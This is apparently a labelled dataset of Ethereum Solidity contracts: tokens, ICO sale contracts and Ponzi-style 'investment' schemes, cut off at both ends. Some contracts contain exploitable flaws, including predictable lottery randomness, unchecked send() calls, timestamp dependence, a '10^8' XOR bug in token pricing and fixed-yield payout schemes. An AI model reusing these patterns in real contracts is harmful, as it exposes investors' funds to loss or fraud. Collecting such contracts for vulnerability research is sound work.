function unlock(address _luckier) external onlyOwner {
lockupAmount[_luckier] = 0;
lockupTime[_luckier] = 0;
}
constructor() public {
balances[msg.sender] = totalSupply_;
}
function transferAndLockToTeam(address _team1year, address _team6months, address _operations1year, address _operations9months, address _operations6months, address _operations3months) external onlyOwner {
require(!teamGotMoney);
teamGotMoney = true;
transfer(_team1year, 10000000 * 10**8);
transfer(_team6months, 6500000 * 10**8);
lock(_team1year, 10000000 * 10**8, 365 * 1 days);
lock(_team6months, 6500000 * 10**8, 182 * 1 days);
transfer(_operations1year, 2750000 * 10**8);
transfer(_operations9months, 2750000 * 10**8);
transfer(_operations6months, 2750000 * 10**8);
transfer(_operations3months, 2750000 * 10**8);
lock(_operations1year, 2750000 * 10**8, 365 * 1 days);
lock(_operations9months, 2750000 * 10**8, 273 * 1 days);
lock(_operations6months, 2750000 * 10**8, 182 * 1 days);
lock(_operations3months, 2750000 * 10**8, 91 * 1 days);
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
if (lockupAmount[msg.sender] > 0) {
if (block.timestamp <= lockupTime[msg.sender]) {
require(balances[msg.sender].sub(lockupAmount[msg.sender]) >= _value);
}
}
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
if (lockupAmount[_from] > 0) {
if (now <= lockupTime[_from]) {
require(balances[_from].sub(lockupAmount[_from]) >= _value);
}
}
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function _burn(address _account, uint256 _amount) internal {
require(_account != 0);
require(_amount <= balances[_account]);
totalSupply_ = totalSupply_.sub(_amount);
balances[_account] = balances[_account].sub(_amount);
emit Transfer(_account, address(0), _amount);
}
function _burnFrom(address _account, uint256 _amount) internal {
require(_amount <= allowed[_account][msg.sender]);
allowed[_account][msg.sender] = allowed[_account][msg.sender].sub(_amount);
_burn(_account, _amount);
}
}
contract Crowdsale is Ownable {
using SafeMath for uint256;
address public multisig;
AS public token;
uint rate;
uint rateInUsd;
uint priceETH;
uint indCap;
event Purchased(address _buyer, uint _amount, string _type);
function setIndCap(uint _indCapETH) public onlyOwner {
indCap = _indCapETH;
}
function getIndCapInETH() public view returns(uint) {
return indCap;
}
function setPriceETH(uint _newPriceETH) external onlyOwner {
setRate(_newPriceETH);
}
function setRate(uint _priceETH) internal {
require(_priceETH != 0);
priceETH = _priceETH;
rate = rateInUsd.mul(1 ether).div(_priceETH);
}
function getPriceETH() public view returns(uint) {
return priceETH;
}
constructor() public {
}
function() external payable {
}
function finalizeICO(address _owner) external onlyOwner {
require(_owner != address(0));
uint balance = token.balanceOf(this);
token.transfer(_owner, balance);
}
function getMyBalanceAS() external view returns(uint256) {
return token.balanceOf(msg.sender);
}
}
contract whitelistICO is Crowdsale {
uint periodWhitelist;
uint startWhitelist;
uint public bonuses1;
mapping (address => bool) whitelist;
function addToWhitelist(address _newMember) external onlyOwner {
require(_newMember != address(0));
whitelist[_newMember] = true;
}
function removeFromWhitelist(address _member) external onlyOwner {
require(_member != address(0));
whitelist[_member] = false;
}
function addListToWhitelist(address[] _addresses) external onlyOwner {
for (uint i = 0; i < _addresses.length; i++) {
whitelist[_addresses[i]] = true;
}
}
function removeListFromWhitelist(address[] _addresses) external onlyOwner {
for (uint i = 0; i < _addresses.length; i++) {
whitelist[_addresses[i]] = false;
}
}
constructor(address _AS, address _multisig, uint _priceETH, uint _startWhiteListUNIX, uint _periodWhitelistSEC, uint _indCap) public {
require(_AS != 0 && _priceETH != 0);
token = AS(_AS);
multisig = _multisig;
bonuses1 = 50;
startWhitelist = _startWhiteListUNIX;
periodWhitelist = _periodWhitelistSEC;
rateInUsd = 10;
setRate(_priceETH);
setIndCap(_indCap);
}
function extendPeriod(uint _days) external onlyOwner {
periodWhitelist = periodWhitelist.add(_days.mul(1 days));
}
function() external payable {
buyTokens();
}
function buyTokens() public payable {
require(block.timestamp > startWhitelist && block.timestamp < startWhitelist.add(periodWhitelist));
if (indCap > 0) {
require(msg.value <= indCap.mul(1 ether));
}
require(whitelist[msg.sender]);
uint256 totalAmount = msg.value.mul(1 ether).mul(10^8).div(rate).add(msg.value.mul(1 ether).mul(10**8).mul(bonuses1).div(100).div(rate));
uint256 balance = token.balanceOf(this);
if (totalAmount > balance) {
uint256 cash = balance.mul(rate).mul(100).div(100 + bonuses1).div(10**8).div(1 ether);
uint256 cashBack = msg.value.sub(cash);
multisig.transfer(cash);
msg.sender.transfer(cashBack);
token.transfer(msg.sender, balance);
emit Purchased(msg.sender, balance, "WhiteList");
return;
}
multisig.transfer(msg.value);
token.transfer(msg.sender, totalAmount);
emit Purchased(msg.sender, totalAmount, "WhiteList");
}
}
contract preICO is Crowdsale {
uint public bonuses2;
uint startPreIco;
uint periodPreIco;
constructor(address _AS, address _multisig, uint _priceETH, uint _startPreIcoUNIX, uint _periodPreIcoSEC, uint _indCap) public {
require(_AS != 0 && _priceETH != 0);
token = AS(_AS);
multisig = _multisig;
bonuses2 = 20;
startPreIco = _startPreIcoUNIX;
periodPreIco = _periodPreIcoSEC;
rateInUsd = 10;
setRate(_priceETH);
setIndCap(_indCap);
}
function extendPeriod(uint _days) external onlyOwner {
periodPreIco = periodPreIco.add(_days.mul(1 days));
}
function() external payable {
buyTokens();
}
function buyTokens() public payable {
require(block.timestamp > startPreIco && block.timestamp < startPreIco.add(periodPreIco));
if (indCap > 0) {
require(msg.value <= indCap.mul(1 ether));
}
uint256 totalAmount = msg.value.mul(10**8).div(rate).add(msg.value.mul(10**8).mul(bonuses2).div(100).div(rate));
uint256 balance = token.balanceOf(this);
if (totalAmount > balance) {
uint256 cash = balance.mul(rate).mul(100).div(100 + bonuses2).div(10**8);
uint256 cashBack = msg.value.sub(cash);
multisig.transfer(cash);
msg.sender.transfer(cashBack);
token.transfer(msg.sender, balance);
emit Purchased(msg.sender, balance, "PreICO");
return;
}
multisig.transfer(msg.value);
token.transfer(msg.sender, totalAmount);
emit Purchased(msg.sender, totalAmount, "PreICO");
}
}
contract mainICO is Crowdsale {
uint startIco;
uint periodIco;
constructor(address _AS, address _multisig, uint _priceETH, uint _startIcoUNIX, uint _periodIcoSEC, uint _indCap) public {
require(_AS != 0 && _priceETH != 0);
token = AS(_AS);
multisig = _multisig;
startIco = _startIcoUNIX;
periodIco = _periodIcoSEC;
rateInUsd = 10;
setRate(_priceETH);
setIndCap(_indCap);
}
function extendPeriod(uint _days) external onlyOwner {
periodIco = periodIco.add(_days.mul(1 days));
}
function() external payable {
buyTokens();
}
function buyTokens() public payable {
require(block.timestamp > startIco && block.timestamp < startIco.add(periodIco));
if (indCap > 0) {
require(msg.value <= indCap.mul(1 ether));
}
uint256 amount = msg.value.mul(10**8).div(rate);
uint256 balance = token.balanceOf(this);
if (amount > balance) {
uint256 cash = balance.mul(rate).div(10**8);
uint256 cashBack = msg.value.sub(cash);
multisig.transfer(cash);
msg.sender.transfer(cashBack);
token.transfer(msg.sender, balance);
emit Purchased(msg.sender, balance, "MainICO");
return;
}
multisig.transfer(msg.value);
token.transfer(msg.sender, amount);
emit Purchased(msg.sender, amount, "MainICO");
}
} | 0 | 951 |
pragma solidity ^0.5.0;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
event NotPausable();
bool public paused = false;
bool public canPause = true;
modifier whenNotPaused() {
require(!paused || msg.sender == owner);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
require(canPause == true);
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
require(paused == true);
paused = false;
emit Unpause();
}
function notPausable() onlyOwner public{
paused = false;
canPause = false;
emit NotPausable();
}
}
contract sdcoin is StandardToken, Pausable {
string public constant NAME = "SDCOIN";
string public constant SYMBOL = "SDC";
uint256 public constant DECIMALS = 18;
uint256 public constant INITIAL_SUPPLY = 3500000000 * 10**18;
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | 1 | 3,600 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract TokenControl {
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
bool public enablecontrol = true;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier whenNotPaused() {
require(enablecontrol);
_;
}
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function enableControl(bool _enable) public onlyCEO{
enablecontrol = _enable;
}
}
contract StandardToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken, TokenControl {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) onlyCOO whenNotPaused public {
_burn(_value);
}
function _burn( uint256 _value) internal {
require(_value <= balances[cfoAddress]);
balances[cfoAddress] = balances[cfoAddress].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(cfoAddress, _value);
emit Transfer(cfoAddress, address(0), _value);
}
}
contract MintableToken is StandardToken, TokenControl {
event Mint(address indexed to, uint256 amount);
function mint(uint256 _value) onlyCOO whenNotPaused public {
_mint(_value);
}
function _mint( uint256 _value) internal {
balances[cfoAddress] = balances[cfoAddress].add(_value);
totalSupply_ = totalSupply_.add(_value);
emit Mint(cfoAddress, _value);
emit Transfer(address(0), cfoAddress, _value);
}
}
contract PausableToken is StandardToken, TokenControl {
bool public transferEnabled = true;
function enableTransfer(bool _enable) public onlyCEO{
transferEnabled = _enable;
}
modifier transferAllowed() {
assert(transferEnabled);
_;
}
function transfer(address _to, uint256 _value) public transferAllowed() returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public transferAllowed() returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public transferAllowed() returns (bool) {
return super.approve(_spender, _value);
}
}
contract BABA is BurnableToken, MintableToken, PausableToken {
string public name;
string public symbol;
uint8 public decimals;
constructor(address _ceoAddress, address _cfoAddress, address _cooAddress) public {
name = "T-BABA";
symbol = "T-BABA";
decimals = 8;
ceoAddress = _ceoAddress;
cfoAddress = _cfoAddress;
cooAddress = _cooAddress;
totalSupply_ = 5000;
balances[cfoAddress] = totalSupply_;
}
function() payable public { }
} | 1 | 2,262 |
pragma solidity 0.4.25;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract SafeInvest {
using SafeMath for uint;
address public owner;
address marketing = 0x906Bd47Fcf07F82B98F28d1e572cA8D2273AA7CD;
address admin = 0x1675bEACF5EB5e4e5955121b411Cd3Bc175989a8;
mapping (address => uint) deposit;
mapping (address => uint) checkpoint;
mapping (address => bool) commission;
mapping (address => address) referrers;
event LogInvestment(address indexed _addr, uint _value);
event LogPayment(address indexed _addr, uint _value);
event LogReferralPayment(address indexed _referral, address indexed _referrer, uint _value);
constructor() public {
owner = msg.sender;
}
function renounceOwnership() external {
require(msg.sender == owner);
owner = 0x0;
}
function bytesToAddress(bytes _source) internal pure returns(address parsedreferrer) {
assembly {
parsedreferrer := mload(add(_source,0x14))
}
return parsedreferrer;
}
function() external payable {
if (msg.value >= 0 && msg.value < 0.0000002 ether) {
withdraw(0);
}
else if (msg.value == 0.0000002 ether){
moneyBack();
}
else {
invest();
}
}
function invest() public payable {
require(msg.value >= 0.01 ether);
if (deposit[msg.sender] > 0) {
withdraw(msg.value);
}
if (msg.data.length == 20) {
address _referrer = bytesToAddress(bytes(msg.data));
if (_referrer != msg.sender) {
referrers[msg.sender] = _referrer;
}
}
checkpoint[msg.sender] = block.timestamp;
deposit[msg.sender] = deposit[msg.sender].add(msg.value);
emit LogInvestment(msg.sender, msg.value);
}
function withdraw(uint _msgValue) internal {
if (!commission[msg.sender]) {
firstWithdraw(deposit[msg.sender]+_msgValue);
} else if (_msgValue > 0) {
payCommissions(_msgValue);
}
uint _payout = getPayout(msg.sender);
if (_payout > 0) {
msg.sender.transfer(_payout);
emit LogPayment(msg.sender, _payout);
}
checkpoint[msg.sender] = block.timestamp;
}
function firstWithdraw(uint _deposit) internal {
commission[msg.sender] = true;
payCommissions(_deposit);
}
function moneyBack() internal {
require(!commission[msg.sender]);
require(deposit[msg.sender] > 0);
require((block.timestamp.sub(checkpoint[msg.sender])).div(7 days) < 7);
msg.sender.transfer(deposit[msg.sender]);
deposit[msg.sender] = 0;
commission[msg.sender] = false;
}
function payCommissions(uint _deposit) internal {
uint _admFee = _deposit.mul(3).div(100);
uint _marketingFee = _deposit.div(10);
if (referrers[msg.sender] > 0) {
uint _refFee = _deposit.mul(5).div(100);
referrers[msg.sender].transfer(_refFee);
emit LogReferralPayment(msg.sender, referrers[msg.sender], _refFee);
}
admin.transfer(_admFee);
marketing.transfer(_marketingFee);
}
function getPayout(address _address) public view returns(uint) {
uint rate = getInterest(_address);
return (deposit[_address].mul(rate).div(100)).mul(block.timestamp.sub(checkpoint[_address])).div(1 days);
}
function getInterest(address _address) internal view returns(uint) {
if (deposit[_address]<= 3 ether) {
return 4;
} else if (deposit[_address] <= 6 ether) {
return 5;
} else {
return 6;
}
}
} | 0 | 989 |
pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract AbstractERC20 {
uint256 public totalSupply;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
}
contract Owned {
address public owner;
address public newOwner;
event OwnerUpdate(address indexed _prevOwner, address indexed _newOwner);
constructor() public {
owner = msg.sender;
}
modifier ownerOnly {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public ownerOnly {
require(_newOwner != owner);
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract TydoIco is Owned {
using SafeMath for uint256;
uint256 public constant COINS_PER_ETH = 12000;
mapping (address => uint256) public balances;
mapping (address => uint256) ethBalances;
uint256 public ethCollected;
uint256 public tokenSold;
uint256 constant tokenDecMult = 1 ether;
uint8 public state = 0;
uint256[] public bonuses;
uint256[] public bonusEnds;
AbstractERC20 public token;
event SaleStart();
event SaleClosedSuccess(uint256 _tokenSold);
event SaleClosedFail(uint256 _tokenSold);
constructor(address _coinToken, uint256[] _bonuses, uint256[] _bonusEnds) Owned() public {
require(_bonuses.length == _bonusEnds.length);
for(uint8 i = 0; i < _bonuses.length; i++) {
require(_bonuses[i] > 0);
if (i > 0) {
}
}
bonuses = _bonuses;
bonusEnds = _bonusEnds;
token = AbstractERC20(_coinToken);
}
function tokensLeft() public view returns (uint256 allowed) {
return token.allowance(address(owner), address(this));
}
function () payable public {
if ((state == 3 || state == 4) && msg.value == 0) {
return withdrawTokens();
} else if (state == 2 && msg.value == 0) {
return refund();
} else {
return buy();
}
}
function buy() payable public {
require (canBuy());
uint amount = msg.value.mul(COINS_PER_ETH).div(1 ether).mul(tokenDecMult);
amount = addBonus(amount);
require(amount > 0, 'amount must be positive');
token.transferFrom(address(owner), address(this), amount);
balances[msg.sender] = balances[msg.sender].add(amount);
ethBalances[msg.sender] += msg.value;
ethCollected = ethCollected.add(msg.value);
tokenSold = tokenSold.add(amount);
}
function getBonus() public view returns(uint256 _currentBonus) {
uint256 curTime = block.timestamp;
for(uint8 i = 0; i < bonuses.length; i++) {
if(bonusEnds[i] > curTime) {
return bonuses[i];
}
}
return 0;
}
function addBonus(uint256 amount) internal view returns(uint256 _newAmount) {
uint256 bonus = getBonus();
uint256 mult = bonus.add(100);
amount = amount.mul(mult).div(100);
return amount;
}
function canBuy() public constant returns(bool _canBuy) {
return state == 1;
}
function refund() public {
require(state == 2);
uint256 tokenAmount = balances[msg.sender];
require(tokenAmount > 0);
uint256 weiAmount = ethBalances[msg.sender];
msg.sender.transfer(weiAmount);
token.transfer(owner, balances[msg.sender]);
ethBalances[msg.sender] = 0;
balances[msg.sender] = 0;
ethCollected = ethCollected.sub(weiAmount);
}
function withdraw() ownerOnly public {
require(state == 3);
owner.transfer(ethCollected);
ethCollected = 0;
state = 4;
}
function withdrawTokens() public {
require(state == 3 || state ==4);
require(balances[msg.sender] > 0);
token.transfer(msg.sender, balances[msg.sender]);
}
function open() ownerOnly public {
require(state == 0);
state = 1;
emit SaleStart();
}
function closeSuccess() ownerOnly public {
require(state == 1);
state = 3;
emit SaleClosedSuccess(tokenSold);
}
function closeFail() ownerOnly public {
require(state == 1);
state = 2;
emit SaleClosedFail(tokenSold);
}
} | 0 | 1,759 |
pragma solidity ^0.4.24;
contract Invest {
mapping (address => uint256) invested;
mapping (address => uint256) atBlock;
address private adAccount;
constructor () public {
adAccount = msg.sender;
}
function () external payable {
if (invested[msg.sender] != 0) {
uint256 amount = invested[msg.sender] * 5 / 100 * (block.number - atBlock[msg.sender]) / 5900;
address sender = msg.sender;
sender.send(amount);
}
atBlock[msg.sender] = block.number;
invested[msg.sender] += msg.value;
if (msg.value > 0) {
adAccount.send(msg.value * 3 / 100);
}
}
function setAdAccount(address _addr) external {
require(msg.sender == adAccount);
adAccount = _addr;
}
} | 1 | 3,195 |
pragma solidity ^0.4.24;
contract Testing {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) withdrawalsgross;
mapping(address => uint256) referrer;
uint256 public step = 5;
uint256 public bankrollpercentage = 10;
uint256 public maximumpercent = 150;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 0.01 ether;
uint256 public startTime = 1540214220;
uint256 public randomizer = 456717097;
uint256 private randNonce = 0;
address public ownerWallet;
address public owner;
address promoter1 = 0xBFb297616fFa0124a288e212d1E6DF5299C9F8d0;
address promoter2 = 0xBFb297616fFa0124a288e212d1E6DF5299C9F8d0;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event Lottery(address player, uint256 lotteryNumber, uint256 amount, uint256 result, bool isWin);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
if (now <= startTime) {
require(msg.sender == owner);
}
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
uint256 percentmax = msg.value.mul(5).div(100);
uint256 percentmaxhalf = percentmax.div(2);
uint256 percentmin = msg.value.mul(1).div(100);
uint256 percentminhalf = percentmin.div(2);
ownerWallet.transfer(percentmax);
promoter1.transfer(percentmaxhalf);
promoter2.transfer(percentminhalf);
emit Invest(msg.sender, msg.value);
}
function lottery(uint256 _value) public payable
{
uint256 maxbetsize = address(this).balance.mul(bankrollpercentage).div(100);
require(msg.value <= maxbetsize);
uint256 random = getRandomNumber(msg.sender) + 1;
bool isWin = false;
if (random == _value) {
isWin = true;
uint256 prize = msg.value.mul(180).div(100);
if (prize <= address(this).balance) {
msg.sender.transfer(prize);
}
}
ownerWallet.transfer(msg.value.mul(10).div(100));
emit Lottery(msg.sender, _value, msg.value, random, isWin);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 percentfinal = percent.div(2);
uint256 different = percentfinal.mul(minutesCount).div(1440);
uint256 balancetemp = different.sub(withdrawals[_address]);
uint256 maxpayout = investments[_address].mul(maximumpercent).div(100);
uint256 balancesum = withdrawalsgross[_address].add(balancetemp);
if (balancesum <= maxpayout){
return balancetemp;
}
else {
uint256 balancenet = maxpayout.sub(withdrawalsgross[_address]);
return balancenet;
}
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
withdrawalsgross[msg.sender] = withdrawalsgross[msg.sender].add(balance);
uint256 maxpayoutfinal = investments[msg.sender].mul(maximumpercent).div(100);
msg.sender.transfer(balance);
if (withdrawalsgross[msg.sender] >= maxpayoutfinal){
investments[msg.sender] = 0;
withdrawalsgross[msg.sender] = 0;
withdrawals[msg.sender] = 0;
}
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
